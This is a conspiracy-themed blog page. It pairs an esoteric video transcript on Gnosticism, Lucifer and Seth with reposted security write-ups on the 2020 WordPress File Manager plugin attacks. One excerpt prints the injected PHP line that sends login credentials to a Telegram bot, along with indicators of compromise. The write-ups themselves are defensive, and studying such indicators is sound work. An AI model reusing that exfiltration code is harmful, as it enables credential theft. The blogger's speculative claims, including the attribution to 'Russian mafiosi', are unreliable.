„MIB whistleblower and area 51 and more“
https://www.youtube.com/watch?v=wr6lPSbPgmg
„#Roswell
MIB whistleblower and area 51 and more
4.484 Aufrufe•Am 23.06.2020 veröffentlicht“
Blog
-
The Light of Lucifer and Seed of Seth – ROBERT SEPEHR
Conspiracy Revelation: 30.9.2020: That is a very important puzzle part to solve the matrix mystery for those in the know…
„The Light of Lucifer and Seed of Seth – ROBERT SEPEHR“
„48.610 Aufrufe•Premiere am 26.09.2020
Robert Sepehr
192.000 Abonnenten
Lucifer means „light-bringer“ in Latin. Seth, in Judaism, Christianity, Mandaeism, Sethianism, and Islam, was the third son of Adam and Eve and brother of Cain and Abel, their only other children mentioned by name in the Bible, and an ancestor of Noah. Seth was also an ancient Egyptian god, his cult believed to be the oldest in Egypt, linked with the planet Mercury and the color red.
Language of the Gods
God of Wisdom, Thief of Fire
Sethians were members of an ancient Christian Gnostic sect of the 2nd and 3rd century who venerated the Biblical Seth, third son of Adam and Eve, depicted in their creation myths as a divine incarnation. Gnosis is the common Greek noun for knowledge, pertaining to the spiritual mysteries, used in various Hellenistic religions and philosophies.“
„“and I was laughing at their ignorance.“ So from the gnostic
perspective Jesus was a spirit that could not die, but could enter into and influence living bodies, I understand what follows is controversial and new to many as this material has only recently been translated and made public, so keep in mind that I share it in an educational context,
not as an endorsement of what you should or shouldn’t believe, moving on at the beginning of the text Jesus states quote: „I visited a bodily dwelling. I cast out the one who was in it previosuly, and I went in.“ This sounds a lot like the new age concept of a walk-in, where a soul has somehow departed a body and is replaced with a new different Soul,
the gnostic view also maintains that the god of the hebrew bible was not the one true god but rather an inferior being called the Demiurge, a term that originates in platonic
philosophy that describes the figure responsible for maintaining the physical universe and later adopted by the early christian gnostics, the gnostics portrayed the demiurge as a lion-headed dragon in part due to astro theology more
specifically an aspect of egyptian astronomy important to the Sethians as well as symbolic of the gnostic or alchemical mysteries. The demiurge was placed in the 13th Heaven
and as one researches the subject they will encounter various names of lion-headed gods with wings wrapped in a
serpent and associated with demons, which as I’ve stated previously to the ancient phoenician, classical greeks and hellenistic egyptians and ancient mesopotamians in general
demons were not necessarily considered evil.“
„to the book of genesis Seth was born when Adam was 130 years
old“
„The Sethians were one of the main currents of gnosticism
during the second and third century and while they predate the time of jesus they came to symbolically identify Seth
with Christ.“
..a kind of semi-divine state as it were ..“
„I´d like to briefly address a point he made about the gnostic baptism of light I offer this explanation in an effort to make this knowledge public, not to convince anyone of anything and I’m aware that most will disagree or not understand it so I’ll keep it brief, my goal is simply to make this public as there was a time that one would be killed for divulging this and most who are already familiar are sworn by oath to remain silent that said in an occult and esoteric context the symbolic act of being baptized by water,
being immersed in a river lake or tub or the religious act of
sprinkling water onto a person’s forehead symbolizing purification, regeneration or initiation into a church, actually alludes to the alchemical context of water which is sex energy ens-seminus, a term used by paracelsus, a swiss
physician, alchemist and philosopher of the german renaissance, the three principal alchemical elements
are mercury sulfur and salt which constitute water
fire and earth these three work together in what alchemists call the great work, so mercury represented by Hermes
or in this case Seth is regarded as the messenger of christ
and as sex energy must be transferred into sulfur or spirit
through the medium of earth or salt which is the physical body, so water is the source of all creation
and the alchemical transformation is alluded to
and the word abrexass which has seven letters
each of which represents one of the seven classic planetary gods meaning the five visible planets plus the sun and the moon and these seven symbolically also represent the seven chakras or spiritual energy centers within the human body
spoken about in eastern religions and tantric philosophy.“
„when you hear a monk in meditation chanting om that is what they’re doing incidentally.“
Conspiracy Revelation: 30.9.2020: Kundalini is phonetically and kinetically triggered…
„There’s a lot of baptismal language in this literature and yet there are also some anti-baptismal polemic they they uh some of these texts argue that the true baptism is not of water but it’s of light it’s of spirit and we know that uh there were a lot of baptismal groups in mesopotamia and
especially syria in the second and third centuries from attestations from other church fathers of the period and
one anti-baptismal thinker who grew up in one of such a baptismal group was mani the founder of the religion known as manichaeism arguably the first world religion and due to these and … then other aspects of sethian texts that are that are actually quite particular and uncommon, such as for example affirmation of the belief and reincarnation of souls, not a lot of judeo-christian groups affirmed that at the time. (Dylan M. Burns)(Uni Leipzig)“
„The gnostic sympathize circle that he had to say well obviously these are very educated people, um my guess is that what he was going for was saying that to gnostic literature as we possess it is largely revelatory it relies on the authority of revelation these texts don’t really make
philosophical arguments, they tell you how it is
and they do it by telling a story that may really hit you hard or leave you cold, that’s what apocalypses do that’s that’s it’s a particular genre it’s a literary form and uh
in this sense it is not very philosophical, because this is not how investigation works in the greek philosophical tradition which relies on logos, rationality, demonstration, which to a very large extent defines for us philosophy today so there’s also an interesting extent to which we can talk uh very generally about the relationship between um revelatory thoughts or or apocalypticism versus philosophy in general and looking at the plotinus gnostic conflict. (Dylan M. Burns)(Uni Leipzig)“
„before they sort of interacted with the nascent
christian community they already had a functioning mythology
in which Seth was the was the savior figure
and that it was Seth who was going to come again at the end of the age and it was only it was only later that they
they sort of uh really cut and pasted the jesus story into the scriptures, so the sethians have a trinity as well but it’s different from the christian the traditional christian
trinity there’s a father the mother and the son in the sethian tradition the father is referred to among other names as the invisible spirit, the virginal spirit, the mother is
barbello and that’s kind of typical of the the early gnostics ..he was sort of the the archetypal pleromic human,
the complete human.. and then so further down the emanations
you have a demiurge and yaldabaoth uh also known as seckless
and Samael, usually identified in the system with the god of the hebrew bible, but definitely evil right, yeah this and that’s one of the distinctions between the sethians and the valentines who we’ll talk about later is that in in Sethian
Cosmology the Demiurge is evil, he’s deliberately malicious and he is an enemy of mankind, whereas in the the valentinian
viewpoint he is less than god and he’s imperfect,
but he’s not necessarily evil, he’s just less than divine um yeah, so they called him samuel.. the blind one, the fool
and this this is one of the things that sort of marks the sethian movement…they saw the the god of the hebrew bible as the demiurge and because of this there was a tendency
to invert a lot of the stories of the old testament..they saw the snake as the hero of the story the the incarnation of wisdom who delivered adam and eve from a false paradise.“
„the apocalypse of adam, the trimorphic protanoia which is just a lovely greek phrase that means the three forms of the first thought, hypostasis of the Archons or the reality of the rulers or the nature of the rulers, thought of Maria, gospel of the egyptians or the holy book of the great invisible spirit, melchizedek, three stillies of seth, sostrianos.“
„The Sethians were also referred to probably by people outside of their group as barbelloites right or barbellognostics and why is that well that’s because um
one of the one of the most important figures in the gnostic cosmology and i guess we’ll get into this in a
minute when we talk about the apocrypha john in a little bit a little bit of detail but one of the most significant figures was barbello who was the first emanation
from the the ineffable God and she’s sort of the mother of all although she’s also referred to as the mother and the father and the thrice male she is one of those
interesting figures in gnostic cosmologies.“
„She’s also known as the the thrice powerful or the triple power and I often think about Hermes Trismigistos… I wonder if the two are related if there’s a kind of hermetic-sethian crossover..“
Conspiracy Revelation: 30.9.2020: Barbelo in form of Sophia is here…She knows that you talk about her…
-
Angriffe auf Websites, auf denen eine anfällige Version des Dateimanager-Plugins ausgeführt wird
„Angriffe auf Websites, auf denen eine anfällige Version des Dateimanager-Plugins ausgeführt wird“
Conspiracy Revelation: 28.9.2020: Linguistische Korrektur..
„Angriffe auf Websites, auf denen eine anfällige Version des Dateimanager-Plugins ausgeführt wird
durch HTH_Editors | September 11, 2020 | 0 Kommentare WordPress Plugin, WordPress-Sicherheit
Sicherheitsforscher haben kürzlich eine Sicherheitsanfälligkeit in einem Dateimanager-Plugin gemeldet, was anfangs mehr gefährdete als 700,000 WordPress-Sites. jedoch, in ein paar Tagen, die Anzahl der angegriffenen Standorte erreicht 2.6 Million.
Mehrere Angreifer, die die Sicherheitsanfälligkeit des Dateimanager-Plugins ausnutzen.
Laut Wordfence Forscher sind mehrere Bedrohungsakteure Schuld für diese Angriffe. Zwei spezifische Bedrohungsakteure sind bei den Exploits am erfolgreichsten. Es scheint, dass diese Angreifer jetzt Kennwörter schützen, das anfällige Kopien einer bestimmten Datei schützt…
Der aktivste dieser Angreifer wurde als “Bajatax” identifiziert. Das Unternehmen hat zuvor Anmeldeinformationen von PrestaShop-Websites gestohlen. Zu den von den Forschern entdeckten Kompromissindikatoren gehören einfache Dateien, die die “Bajatax” Zeichenfolge beinhalten und Änderungen an der ursprünglichen anfälligen Datei connector.minimal.php durrchführt. Die letztere Datei soll alle anderen potenziellen Angreifer ausschließen. Die Forscher-Entdeckungen weisen darauf hin, dass diese Dateien von einigen der aktivsten IP-Adressen verwendet werden, die bei den Angriffen eingesetzt wurden.
Infizierten Websites wird bösartiger Code hinzugefügt. Dieser Code verwendet die API von Telegram, um die Anmeldeinformationen aller Benutzer zu filtern, die sich bei der gefährdeten Site anmelden. In Ergänzung, Der gleiche Code wird auch zur Datei user.php hinzugefügt, bei der es sich um eine WordPress-Kerndatei handelt.
Der zweite Angreifer, der die Sicherheitsanfälligkeit des Dateimanagers mit großem Erfolg ausnutzt, lässt einen bestimmten Infektor fallen,..index.php, mit einem MD5-Hash … und eine von diesem Infektor eingefügte Hintertür. Wordfence sagt im offiziellen Bericht. Dieser Angreifer schützt auch die Datei … mit einem Kennwort, um zu versuchen, andere Bedrohungsakteure auszusperren.
Die Forscher skizzieren auch, dass die von diesem zweiten Schauspieler verwendete Hintertür seit vielen Jahren verwendet wird. jedoch, Mehrere Kopien davon können auf eine einzelne infizierte Site verteilt werden, Dies führt zu Persistenz, wenn kein Schutz vorhanden ist.
Außerdem, Sobald die Hintertüren erfolgreich installiert wurden nutzt der Angreifer sie sicherlich, um weitere Änderungen an den WordPress-Kerndateien vorzunehmen.
Was sollten Sie tun, wenn Sie eine anfällige Version des Dateimanager-Plugins verwendet haben??
Der beste Sicherheitshinweis ist die Verwendung eines Sicherheitstools zum Scannen Ihrer Website nach Malware. Falls Sie feststellen, dass Ihre Website durch die in diesem Artikel beschriebenen Angriffe gefährdet wurde, sollten Sie in Betracht ziehen Ihre Website zu bereinigen, bevor Sie etwas anderes tun.
Wenn Sie Eigentümer einer E-Commerce-Website sind, sollten Sie auch alle Ihre Benutzer kontaktieren, Lassen Sie sie wissen, dass Ihre Anmeldeinformationen möglicherweise kompromittiert wurden. Sie können die Gesamtsicherheit ihrer Website auch anhand der Tipps testen, die wir im folgenden Artikel bereitgestellt haben:
Lesen Sie auch So testen Sie die Sicherheit Ihrer WordPress-Site“
Quelle: https://howtohosting.guide/de/attacks-against-sites-running-vulnerable-file-manager-plugin/ -
WordPress malware using the Telegram API
„WordPress malware using the Telegram API“
„Panos Kesisis · 01st September 2020·Wordpress, PHP, Website Security“
Conspiracy Revelation: 28.9.2020: I removed the Telegram APIs manually from all infected files…
„wp_ajax_try_2020_v2“
„file_get_contents(„https://api.telegram.org/xxxxxxxx:AAE1-wpQyYquqvB7wOeBzzmPafEp0d81e6c/sendMessage?chat_id=1110165405&text=“ . urlencode$“
„The malware looks to be infecting WordPress‘ core files, „File Manager“ and „WooCommerce“ plugins for now, including the latest version of WordPress (5.5) and Woocommerce (4.4.1). The files that seem to be affected are:
wp-includes/user.php
wp-admin/admin-ajax.php
wp-file-manager/lib/files/HhGFXU.php (and other randomly named .php files)
woocommerce/includes/wc-user-functions.php
woocommerce/includes/class-wc-form-handler.php
Expressions that can help to determine if your site is compromised are:
„bajatax“
„api.telegram.org“
Since the code above is not hashed or obfuscated, it is extremely difficult to be scanned using a security plugin like wordfence or sucuri so manual intervention is advised.
Steps to resolve
Basic steps to resolve this is to replace all the wordpress core files with clean wp-admin and wp-includes folders and a fresh re-install of the woocommerce and wp file manager plugins. Always make sure to take a backup before attempting this.
Also, in no cases there should be any references of those strings anywhere in your website’s files or database (with the exception of when using the official Telegram plugin for the 2nd string).
Lastly, it is recommended to check on newly created WordPress usernames that might be injected into the database as well.
…
Source: https://fixed.net/blog/wordpress-malware-using-the-telegram-api -
Attackers Fight for Control of Sites Targeted in File Manager Vulnerability
„Attackers Fight for Control of Sites Targeted in File Manager Vulnerability“
Conspiracy Revelation: 28.9.2020: Wordfence caused a long time a WSOD on my page…not sure if it was a counterdefense mechanism of these notorious russian cleptocratic cyberhack spambot mafiosis, that dominate the Internet for the last 25 years with their viral loads… I will check that soon…I surely would have used wordfence if it didn´t lose compatibility aka WSOD which made it impossible for me to use it at a certain point in time with this webpage.
These ico exploits are very old and typical russian cyber mafiosi method. At least 20 years old, also for Windows Systems.
Update: I installed Wordfence now, it works again, the white screen of death was likely caused by these russian cyber mafiosis as a Malware Persistence Factor, so that their exploit could survive longer, that is a good indicator that the page is finally really cleansed from this filth.
„This entry was posted in Research, Vulnerabilities, WordPress Security on September 10, 2020 by Ram Gall 5 Replies
Last week, we covered a vulnerability in the File Manager plugin installed on over 700,000 WordPress sites. By Friday, September 4, 2020, we recorded attacks on over 1.7 million sites, and by today, September 10, 2020 the total number of sites attacked has increased to over 2.6 million. We’ve seen evidence of multiple threat actors taking part in these attacks, including minor efforts by the threat actor previously responsible for attacking millions of sites, but two attackers have been the most successful in exploiting vulnerable sites, and at this time, both attackers are password protecting vulnerable copies of the connector.minimal.php file.
An early bird stealing passwords
Our site cleaning team has found numerous indicators that the most active of these attacks are the work of a Moroccan threat actor known as “bajatax” which has historically stolen credentials from PrestaShop sites. These indicators include simple files containing only the string “bajatax” as well as modifications to the original vulnerable connector.minimal.php file designed to lock out all other attackers, containing a $content=“by bajatax” line of code. Logs from infected sites indicate these files are being added by some of the most active attacking IPs, and we were able to verify that this threat actor is behind the hardfork.php and hardfile.php IOCs mentioned in our initial post. This attacker was the first to attack this vulnerability at scale.
Once a site is infected, the “bajatax” attacker adds malicious code that uses the Telegram messenger’s API to exfiltrate the credentials of any user logging into the site. This code is added to the WordPress core user.php file. If WooCommerce is installed, the wc-user-functions.php and class-wc-form-handler.php files will also be modified to exfiltrate user credentials. These credentials could then be resold or used to gain access to other accounts using the same credentials.
We’ve found IOCs from this threat actor on a substantial number of sites. Despite this attacker’s efforts to lock out other hackers, they haven’t always managed to get their foot in the door first, but we’ve seen them make regular attempts to update the passwords on both the vulnerable connector.minimal.php file and on other files they’ve added to allow additional upload capability, while leaving the credential scraping functionality in place which consistently sends to the same Telegram chat ID of 1110165405.
Our Threat Intelligence team has been hard at work adding malware signatures to detect Indicators of Compromise by the bajatax threat actor, and these have been available to Wordfence Premium users starting September 8, 2020. These signatures will be released to sites still using the free version of Wordfence after 30 days, starting October 8, 2020.
A second attacker scattering backdoors
The most prevalent single indicators of compromise we found are an infector, feoidasf4e0_index.php, with an MD5 hash of 6ea6623e8479a65e711124e77aa47e4c, and a backdoor inserted by this infector. In this case we are providing the MD5 hash since this file is extremely consistent, and as such the MD5 can be a useful indicator of compromise.
This attacker is using the mkfile method outlined in our initial article rather than the upload method favored by the “bajatax” threat actor. This attacker is also adding password protection to the vulnerable connector.minimal.php file in an effort to lock out other attackers, though our attack data indicates this threat actor is using a consistent password.
The feoidasf4e0_index.php file inserts two copies of the second backdoor with randomized filenames ending in _index.php whenever it is accessed. One copy is placed in the webroot, and one in a randomized writable folder on the site. Both backdoors have the same MD5 of 3f60851c9f7e37c0d8817101d2212c68. While the backdoor in question has been in use for several years, the fact that multiple copies might be scattered across an infected site would help this attacker maintain persistence in the absence of a thorough scanning solution. We’ve also seen additional copies of this backdoor with different MD5 hashes added by this attacker; these are simply the most common variants.
Once these backdoors are in place, the attacker is using them to make additional modifications to core WordPress files, in some cases by using obfuscated code to include separate backdoors disguised as .ico files. While the prevalence of the feoidasf4e0_index.php file appears to be declining, the secondary backdoors added by this file are still extremely common, indicating that this attacker has managed to achieve some degree of persistence.
The feoidasf4e0_index.php file itself appears to be a very slightly modified version of an infector used in previous campaigns that primarily added cryptominers and SEO spam to various sites, so these are viable monetization routes for this threat actor, though they could also simply lease access to a botnet of infected sites under their control.
Other actors abound
Our site cleaning team has cleaned a number of sites compromised by this vulnerability, and in many cases, malware from multiple threat actors is present. The aforementioned threat actors have been by far the most successful due to their efforts to lock out other attackers, and are collectively using several thousand IP addresses in their attacks. Nonetheless, we’ve seen attacks against this vulnerability from over 370,000 separate IP addresses.
There has been almost no overlap between the IPs adding and accessing the feoidasf4e0_index.php file and the IPs adding and accessing the bajatax “hardfork” files. The single exception is the IP 51.83.216.204, which appears to be a third party opportunistically checking for the presence of both of these backdoors and then attempting to add a backdoor of its own, without much success. As more and more users update or remove the File Manager plugin, control of any infected sites will likely be split between these two threat actors.
Conclusion
In today’s article, we discussed the most common infections we’re seeing on sites where the File Manager vulnerability has been exploited as well as the predominant actors involved. We’ve also managed to link at least one of the attackers to a known threat actor and determine likely paths to monetization. If you or anyone you know has had a vulnerable version of the File Manager plugin installed, we urge you to scan your site for malware using a security solution such as Wordfence. If your site has been compromised by the “bajatax” threat actor, it is critical that you completely clean your site before contacting all of your users and advising them that their credentials may have been compromised, especially if you are running an e-commerce site.“
„Some Agency September 10, 2020 at 2:42 pm:
For that telegram chat room 1110165405 I deleted their webhook using the telegram API once I found out one of our clients sites was hacked. Hoping I helped the cause a little there lol. The index file found on this server was ‚fqsvoig675_index.php‘ and they injected code into ‚user.php‘ to send user creds to their telegram bot.
https://api.telegram.org/botXXXXXXXX:XXXXXXX/deleteWebhook?chat_id=1110165405“
„Surender September 10, 2020 at 8:58 pm:
I am feeling lucky that I have been using Wordfence since beginning. It has always protected me from such attacks.
Thank you Wordfence team.“
„bloganchoi September 13, 2020 at 6:09 pm:
File managers are very important, if you install an unknown plugin that is susceptible to critical vulnerabilities that lead to your website being hacked, be careful when installing any plugin on your site.“
„Juan Erazo September 10, 2020 at 1:14 pm:
That’s right. Our site suffers this attack the las week and only yesterday we are online again. We are using wordfence from now!“
Source: https://www.wordfence.com/blog/2020/09/attackers-fight-for-control-of-sites-targeted-in-file-manager-vulnerability/
